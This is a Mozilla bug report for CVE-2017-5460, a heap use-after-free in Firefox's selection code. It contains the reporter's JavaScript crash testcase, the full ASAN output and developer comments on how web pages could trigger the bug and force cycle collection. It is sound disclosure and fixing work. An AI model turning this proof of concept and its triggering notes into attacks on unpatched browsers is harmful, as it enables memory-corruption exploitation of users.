Bug 1343642 (CVE-2017-5460)

heap-use-after-free in nsFrameSelection::PhysicalMove

VERIFIED FIXED in Firefox -esr45

Status

()

defect
VERIFIED FIXED
2 years ago
2 years ago

People

(Reporter: nils, Assigned: masayuki)

Tracking

({csectype-uaf, sec-high})

Trunk
mozilla55
Points:
---
Bug Flags:
sec-bounty +
in-testsuite ?

Firefox Tracking Flags

(firefox-esr4553+ fixed, firefox52 wontfix, firefox-esr5253+ verified, firefox53+ verified, firefox54+ verified, firefox55+ verified)

Details

(Whiteboard: [adv-main53+][adv-esr45.9+][adv-esr52.1+])

Attachments

(5 attachments, 6 obsolete attachments)

803 bytes, text/html
Details
26.82 KB, patch
masayuki
: review+
abillings
: sec-approval+
Details | Diff | Splinter Review
26.55 KB, patch
masayuki
: review+
Details | Diff | Splinter Review
26.50 KB, patch
masayuki
: review+
Details | Diff | Splinter Review
23.48 KB, patch
masayuki
: review+
Details | Diff | Splinter Review
(Reporter)

Description

2 years ago
The following testcases crashes the latest ASAN build of Firefox. The testcase requires the fuzzPriv extension.

<script>
function start() {      
        o0=document.createElement('iframe');
        document.body.appendChild(o0);
        setTimeout(fun1, 400);
}
function fun1() {
        o11=o0.contentDocument.documentElement;
        o20=document.createElement('textarea');
        o11.appendChild(o20);
        o20.focus();
        o0.contentWindow.onresize=fun2;
        o0.width='12px';
        fuzzPriv.trustedKeyEvent(document.documentElement,'press',false,false,true,false,38,0);
}
function fun2() {
        window.top.document.documentElement.appendChild(o0);
        window.fuzzPriv.CC();
        window.fuzzPriv.CC();
}
</script>
<body onload="start()"></body>


ASAN output:
=================================================================
==27885==ERROR: AddressSanitizer: heap-use-after-free on address 0x61100030a6b8 at pc 0x7f5ea6a40572 bp 0x7ffec9152090 sp 0x7ffec9152088
READ of size 8 at 0x61100030a6b8 thread T0 (Web Content)
    #0 0x7f5ea6a40571 in nsFrameSelection::PhysicalMove(short, short, bool) /home/worker/workspace/build/src/layout/generic/nsSelection.cpp:2224:8
    #1 0x7f5ea5ffe950 in mozilla::SelectionMoveCommands::DoCommand(char const*, nsISupports*) /home/worker/workspace/build/src/editor/libeditor/EditorCommands.cpp:906:14
    #2 0x7f5ea4352016 in nsControllerCommandTable::DoCommand(char const*, nsISupports*) /home/worker/workspace/build/src/dom/commandhandler/nsControllerCommandTable.cpp:147:10
    #3 0x7f5ea43489da in nsBaseCommandController::DoCommand(char const*) /home/worker/workspace/build/src/dom/commandhandler/nsBaseCommandController.cpp:136:10
    #4 0x7f5ea5a387f8 in nsXBLPrototypeHandler::DispatchXBLCommand(mozilla::dom::EventTarget*, nsIDOMEvent*) /home/worker/workspace/build/src/dom/xbl/nsXBLPrototypeHandler.cpp:498:5
    #5 0x7f5ea5a0f40f in nsXBLPrototypeHandler::ExecuteHandler(mozilla::dom::EventTarget*, nsIDOMEvent*) /home/worker/workspace/build/src/dom/xbl/nsXBLPrototypeHandler.cpp:221:12
    #6 0x7f5ea5a55418 in nsXBLWindowKeyHandler::WalkHandlersAndExecute(nsIDOMKeyEvent*, nsIAtom*, nsXBLPrototypeHandler*, unsigned int, mozilla::dom::IgnoreModifierState const&, bool, bool*) /home/worker/workspace/build/src/dom/xbl/nsXBLWindowKeyHandler.cpp:755:19
    #7 0x7f5ea5a4f9eb in nsXBLWindowKeyHandler::WalkHandlersInternal(nsIDOMKeyEvent*, nsIAtom*, nsXBLPrototypeHandler*, bool, bool*) /home/worker/workspace/build/src/dom/xbl/nsXBLWindowKeyHandler.cpp:618:12
    #8 0x7f5ea5a4f3a7 in nsXBLWindowKeyHandler::WalkHandlers(nsIDOMKeyEvent*, nsIAtom*) /home/worker/workspace/build/src/dom/xbl/nsXBLWindowKeyHandler.cpp:298:3
    #9 0x7f5ea5a53b55 in nsXBLWindowKeyHandler::HandleEvent(nsIDOMEvent*) /home/worker/workspace/build/src/dom/xbl/nsXBLWindowKeyHandler.cpp:477:10
    #10 0x7f5ea44b0c69 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, nsIDOMEvent*, mozilla::dom::EventTarget*) /home/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1123:16
    #11 0x7f5ea44b2c10 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*) /home/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1297:20
    #12 0x7f5ea449d72d in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:489:9
    #13 0x7f5ea449db34 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:518:5
    #14 0x7f5ea44a0ca4 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:822:9
    #15 0x7f5ea44a2fe7 in mozilla::EventDispatcher::DispatchDOMEvent(nsISupports*, mozilla::WidgetEvent*, nsIDOMEvent*, nsPresContext*, nsEventStatus*) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:891:12
    #16 0x7f5ea27a8ca1 in nsINode::DispatchEvent(nsIDOMEvent*, bool*) /home/worker/workspace/build/src/dom/base/nsINode.cpp:1331:5
    #17 0x7f5ea44be014 in mozilla::dom::EventTarget::DispatchEvent(mozilla::dom::Event&, mozilla::dom::CallerType, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/events/EventTarget.cpp:73:9
    #18 0x7f5ea3c31a72 in mozilla::dom::EventTargetBinding::dispatchEvent(JSContext*, JS::Handle<JSObject*>, mozilla::dom::EventTarget*, JSJitMethodCallArgs const&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/EventTargetBinding.cpp:974:15
    #19 0x7f5ea3c2ea6f in mozilla::dom::EventTargetBinding::genericMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/obj-firefox/dom/bindings/EventTargetBinding.cpp:1150:13
    #20 0x7f5ea9b5491f in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:282:15
    #21 0x7f5ea9b5491f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:448
    #22 0x7f5ea9b3b996 in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:499:12
    #23 0x7f5ea9b3b996 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2944
    #24 0x7f5ea9b20a7b in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:394:12
    #25 0x7f5ea9b54c36 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:466:15
    #26 0x7f5ea9b55312 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:512:10
    #27 0x7f5eaa5233d3 in JS_CallFunctionValue(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2819:12
    #28 0x7f5ea13de6e9 in xpc::FunctionForwarder(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/xpconnect/src/ExportHelpers.cpp:319:18
    #29 0x7f5ea9b5491f in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:282:15
    #30 0x7f5ea9b5491f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:448
    #31 0x7f5ea9b3b996 in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:499:12
    #32 0x7f5ea9b3b996 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2944
    #33 0x7f5ea9b20a7b in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:394:12
    #34 0x7f5ea9b54c36 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:466:15
    #35 0x7f5ea9b55312 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:512:10
    #36 0x7f5eaa52518c in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2878:12
    #37 0x7f5ea3c83d69 in mozilla::dom::Function::Call(JSContext*, JS::Handle<JS::Value>, nsTArray<JS::Value> const&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/FunctionBinding.cpp:36:8
    #38 0x7f5ea23e96b5 in Call<nsCOMPtr<nsISupports> > /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/FunctionBinding.h:72:12
    #39 0x7f5ea23e96b5 in nsGlobalWindow::RunTimeoutHandler(mozilla::dom::Timeout*, nsIScriptContext*) /home/worker/workspace/build/src/dom/base/nsGlobalWindow.cpp:12956
    #40 0x7f5ea25a5310 in mozilla::dom::TimeoutManager::RunTimeout(mozilla::dom::Timeout*) /home/worker/workspace/build/src/dom/base/TimeoutManager.cpp:584:34
    #41 0x7f5ea25a052d in mozilla::dom::(anonymous namespace)::TimerCallback(nsITimer*, void*) /home/worker/workspace/build/src/dom/base/Timeout.cpp:65:3
    #42 0x7f5e9fcb97eb in nsTimerImpl::Fire(int) /home/worker/workspace/build/src/xpcom/threads/nsTimerImpl.cpp:479:7
    #43 0x7f5e9fc8877c in nsTimerEvent::Run() /home/worker/workspace/build/src/xpcom/threads/TimerThread.cpp:297:3
    #44 0x7f5e9fc9a522 in mozilla::ThrottledEventQueue::Inner::ExecuteRunnable() /home/worker/workspace/build/src/xpcom/threads/ThrottledEventQueue.cpp:200:15
    #45 0x7f5e9fc99e5f in mozilla::ThrottledEventQueue::Inner::Executor::Run() /home/worker/workspace/build/src/xpcom/threads/ThrottledEventQueue.cpp:74:7
    #46 0x7f5e9fc77802 in mozilla::ValidatingDispatcher::Runnable::Run() /home/worker/workspace/build/src/xpcom/threads/Dispatcher.cpp:257:21
    #47 0x7f5e9fcab452 in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1264:7
    #48 0x7f5e9fca7d00 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:389:10
    #49 0x7f5ea0ac66f4 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:124:5
    #50 0x7f5ea0a37a98 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:3
    #51 0x7f5ea0a37a98 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231
    #52 0x7f5ea0a37a98 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211
    #53 0x7f5ea5e8b53f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3
    #54 0x7f5ea96e2d97 in XRE_RunAppShell() /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:852:12
    #55 0x7f5ea0a37a98 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:3
    #56 0x7f5ea0a37a98 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231
    #57 0x7f5ea0a37a98 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211
    #58 0x7f5ea96e287c in XRE_InitChildProcess(int, char**, XREChildData const*) /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:684:7
    #59 0x4e01b6 in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:64:19
    #60 0x4e01b6 in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:287
    #61 0x7f5ebb0b582f in __libc_start_main /build/glibc-t3gR2i/glibc-2.23/csu/../csu/libc-start.c:291
    #62 0x41c3d8 in _start (/home/nils/fuzzer3/firefox/firefox+0x41c3d8)

0x61100030a6b8 is located 184 bytes inside of 232-byte region [0x61100030a600,0x61100030a6e8)
freed by thread T0 (Web Content) here:
    #0 0x4b2b2b in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3
    #1 0x7f5e9fb48644 in SnowWhiteKiller::~SnowWhiteKiller() /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2664:9
    #2 0x7f5e9fb48236 in nsCycleCollector::FreeSnowWhite(bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2839:3
    #3 0x7f5e9fb4f516 in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3825:3
    #4 0x7f5e9fb4ecf0 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3650:9
    #5 0x7f5e9fb51a8c in nsCycleCollector_collect(nsICycleCollectorListener*) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4143:3
    #6 0x7f5ea27c6f8f in nsJSContext::CycleCollectNow(nsICycleCollectorListener*, int) /home/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1451:3
    #7 0x7f5ea231e0fd in nsDOMWindowUtils::CycleCollect(nsICycleCollectorListener*, int) /home/worker/workspace/build/src/dom/base/nsDOMWindowUtils.cpp:1339:3
    #8 0x7f5e9fcc6971 in NS_InvokeByIndex /home/worker/workspace/build/src/xpcom/reflect/xptcall/md/unix/xptcinvoke_asm_x86_64_unix.S:115
    #9 0x7f5ea149f987 in Invoke /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:2010:12
    #10 0x7f5ea149f987 in Call /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1329
    #11 0x7f5ea149f987 in XPCWrappedNative::CallMethod(XPCCallContext&, XPCWrappedNative::CallMode) /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1296
    #12 0x7f5ea14a72fb in XPC_WN_CallMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNativeJSOps.cpp:983:12
    #13 0x7f5ea9b5491f in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:282:15
    #14 0x7f5ea9b5491f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:448
    #15 0x7f5ea9b3b996 in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:499:12
    #16 0x7f5ea9b3b996 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2944
    #17 0x7f5ea9b20a7b in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:394:12
    #18 0x7f5ea9b54c36 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:466:15
    #19 0x7f5ea9b55312 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:512:10
    #20 0x7f5eaa5233d3 in JS_CallFunctionValue(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2819:12
    #21 0x7f5ea13de6e9 in xpc::FunctionForwarder(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/xpconnect/src/ExportHelpers.cpp:319:18
    #22 0x7f5ea9b5491f in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:282:15
    #23 0x7f5ea9b5491f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:448
    #24 0x7f5ea9b3b996 in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:499:12
    #25 0x7f5ea9b3b996 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2944
    #26 0x7f5ea9b20a7b in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:394:12
    #27 0x7f5ea9b54c36 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:466:15
    #28 0x7f5ea9b55312 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:512:10
    #29 0x7f5eaa7c6ddc in js::Wrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /home/worker/workspace/build/src/js/src/proxy/Wrapper.cpp:165:12
    #30 0x7f5eaa77d02e in js::CrossCompartmentWrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /home/worker/workspace/build/src/js/src/proxy/CrossCompartmentWrapper.cpp:351:14
    #31 0x7f5eaa7a6899 in js::Proxy::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:464:12
    #32 0x7f5eaa7a91c4 in js::proxy_Call(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:716:12
    #33 0x7f5ea9b549c7 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:282:15
    #34 0x7f5ea9b549c7 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:436
    #35 0x7f5ea9b55312 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:512:10
    #36 0x7f5eaa52518c in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2878:12

previously allocated by thread T0 (Web Content) here:
    #0 0x4b2e4b in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3
    #1 0x4e11bd in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17
    #2 0x7f5ea491e780 in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12
    #3 0x7f5ea491e780 in nsTextEditorState::BindToFrame(nsTextControlFrame*) /home/worker/workspace/build/src/dom/html/nsTextEditorState.cpp:1170
    #4 0x7f5ea6b4e6d4 in nsTextControlFrame::CreateAnonymousContent(nsTArray<nsIAnonymousContentCreator::ContentInfo>&) /home/worker/workspace/build/src/layout/forms/nsTextControlFrame.cpp:332:17
    #5 0x7f5ea66aa1e7 in nsCSSFrameConstructor::GetAnonymousContent(nsIContent*, nsIFrame*, nsTArray<nsIAnonymousContentCreator::ContentInfo>&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4207:17
    #6 0x7f5ea669e35d in nsCSSFrameConstructor::ProcessChildren(nsFrameConstructorState&, nsIContent*, nsStyleContext*, nsContainerFrame*, bool, nsFrameItems&, bool, PendingBinding*, nsIFrame*) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:10909:3
    #7 0x7f5ea66b327e in nsCSSFrameConstructor::ConstructFrameFromItemInternal(nsCSSFrameConstructor::FrameConstructionItem&, nsFrameConstructorState&, nsContainerFrame*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4062:9
    #8 0x7f5ea66be1f6 in nsCSSFrameConstructor::ConstructFramesFromItem(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItemList::Iterator&, nsContainerFrame*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:6209:3
    #9 0x7f5ea66cc5eb in ConstructFramesFromItemList /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:10705:5
    #10 0x7f5ea66cc5eb in nsCSSFrameConstructor::ContentAppended(nsIContent*, nsIContent*, bool) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:7564
    #11 0x7f5ea66c6eb8 in nsCSSFrameConstructor::CreateNeededFrames(nsIContent*) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:7183:5
    #12 0x7f5ea65db932 in mozilla::GeckoRestyleManager::ProcessPendingRestyles() /home/worker/workspace/build/src/layout/base/GeckoRestyleManager.cpp:464:3
    #13 0x7f5ea66272a0 in ProcessPendingRestyles /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RestyleManagerInlines.h:44:3
    #14 0x7f5ea66272a0 in mozilla::PresShell::DoFlushPendingNotifications(mozilla::ChangesToFlush) /home/worker/workspace/build/src/layout/base/PresShell.cpp:4137
    #15 0x7f5ea26da88e in FlushPendingNotifications /home/worker/workspace/build/src/obj-firefox/dist/include/nsIPresShell.h:598:5
    #16 0x7f5ea26da88e in nsDocument::FlushPendingNotifications(mozilla::FlushType) /home/worker/workspace/build/src/dom/base/nsDocument.cpp:7961
    #17 0x7f5ea2722e9e in nsFocusManager::CheckIfFocusable(nsIContent*, unsigned int) /home/worker/workspace/build/src/dom/base/nsFocusManager.cpp:1550:3
    #18 0x7f5ea271f53c in nsFocusManager::SetFocusInner(nsIContent*, int, bool, bool) /home/worker/workspace/build/src/dom/base/nsFocusManager.cpp:1180:41
    #19 0x7f5ea27228de in nsFocusManager::SetFocus(nsIDOMElement*, unsigned int) /home/worker/workspace/build/src/dom/base/nsFocusManager.cpp:484:3
    #20 0x7f5ea24afb8f in mozilla::dom::Element::Focus(mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/base/Element.cpp:311:14
    #21 0x7f5ea3dbda38 in mozilla::dom::HTMLElementBinding::focus(JSContext*, JS::Handle<JSObject*>, nsGenericHTMLElement*, JSJitMethodCallArgs const&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/HTMLElementBinding.cpp:462:3
    #22 0x7f5ea4062047 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:2953:13
    #23 0x7f5ea9b5491f in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:282:15
    #24 0x7f5ea9b5491f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:448
    #25 0x7f5ea9b55312 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:512:10
    #26 0x7f5eaa7c6ddc in js::Wrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /home/worker/workspace/build/src/js/src/proxy/Wrapper.cpp:165:12
    #27 0x7f5eaa77d02e in js::CrossCompartmentWrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /home/worker/workspace/build/src/js/src/proxy/CrossCompartmentWrapper.cpp:351:14
    #28 0x7f5eaa7a6899 in js::Proxy::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:464:12
    #29 0x7f5eaa7a91c4 in js::proxy_Call(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:716:12
    #30 0x7f5ea9b549c7 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:282:15
    #31 0x7f5ea9b549c7 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:436
    #32 0x7f5ea9b3b996 in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:499:12
    #33 0x7f5ea9b3b996 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2944
    #34 0x7f5ea9b20a7b in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:394:12
    #35 0x7f5ea9b54c36 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:466:15
    #36 0x7f5ea9b55312 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:512:10

SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/layout/generic/nsSelection.cpp:2224:8 in nsFrameSelection::PhysicalMove(short, short, bool)
Shadow bytes around the buggy address:
  0x0c2280059480: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa
  0x0c2280059490: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x0c22800594a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c22800594b0: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa
  0x0c22800594c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c22800594d0: fd fd fd fd fd fd fd[fd]fd fd fd fd fd fa fa fa
  0x0c22800594e0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c22800594f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2280059500: 00 fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c2280059510: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2280059520: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==27885==ABORTING
Flags: sec-bounty?
Does |fuzzPriv.trustedKeyEvent()| dispatch trusted key event like dispatching created event from chrome JS? And is this the only reason you said "The testcase requires the fuzzPriv extension"?
Flags: needinfo?(nils)
So, if this is reproducible only with synthesized key event from chrome script, it's not important because such event is special one (trusted event, but no widget, can be dispatched anytime).
(Reporter)

Comment 4

2 years ago
I looked into this a bit more. The vulnerability can also be triggered by tricking a user into pressing shift+arrow_up or other keys that trigger the call to nsFrameSelection::PhysicalMove. We can then use the onkeydown event handler to change the width off the iframe which triggers the the event handler being fired during the call to FlushPendingNotifications.

I have attached a testcase which doesn't require a synthesized key event.
Flags: needinfo?(nils)
Thanks! I wonder, web contents can run CC intentionally with doing something?
(In reply to Masayuki Nakano [:masayuki] from comment #5)
> Thanks! I wonder, web contents can run CC intentionally with doing something?
Not explicitly, but we should not assume that this will stop a dedicated attacker.

Masayuki, are you a good owner for this bug?
Flags: needinfo?(masayuki)
Still not sure, but I'll try to investigate this.
Flags: needinfo?(masayuki)
(In reply to Masayuki Nakano [:masayuki] from comment #5)
> Thanks! I wonder, web contents can run CC intentionally with doing something?

Yes, it is possible. Create lots of garbage, say dom elements, and then use sync XHR to spin event loop and CC will run at some point.
Group: core-security → dom-core-security
Masayuki, did you have a chance to investigate this bug?
Flags: needinfo?(masayuki)
Yeah, this is in my queue, but somebody else can take this, feel free to take this.
Flags: needinfo?(masayuki)
Assignee: nobody → masayuki
Status: NEW → ASSIGNED
I give up to create a test for this with mochitest. I succeeded to build ASAN build in my Ubuntu environment. However, I cannot reproduce this bug with mochitest.  According to the fix in this patch, this won't be regressed. So, I hope we can land this without test.

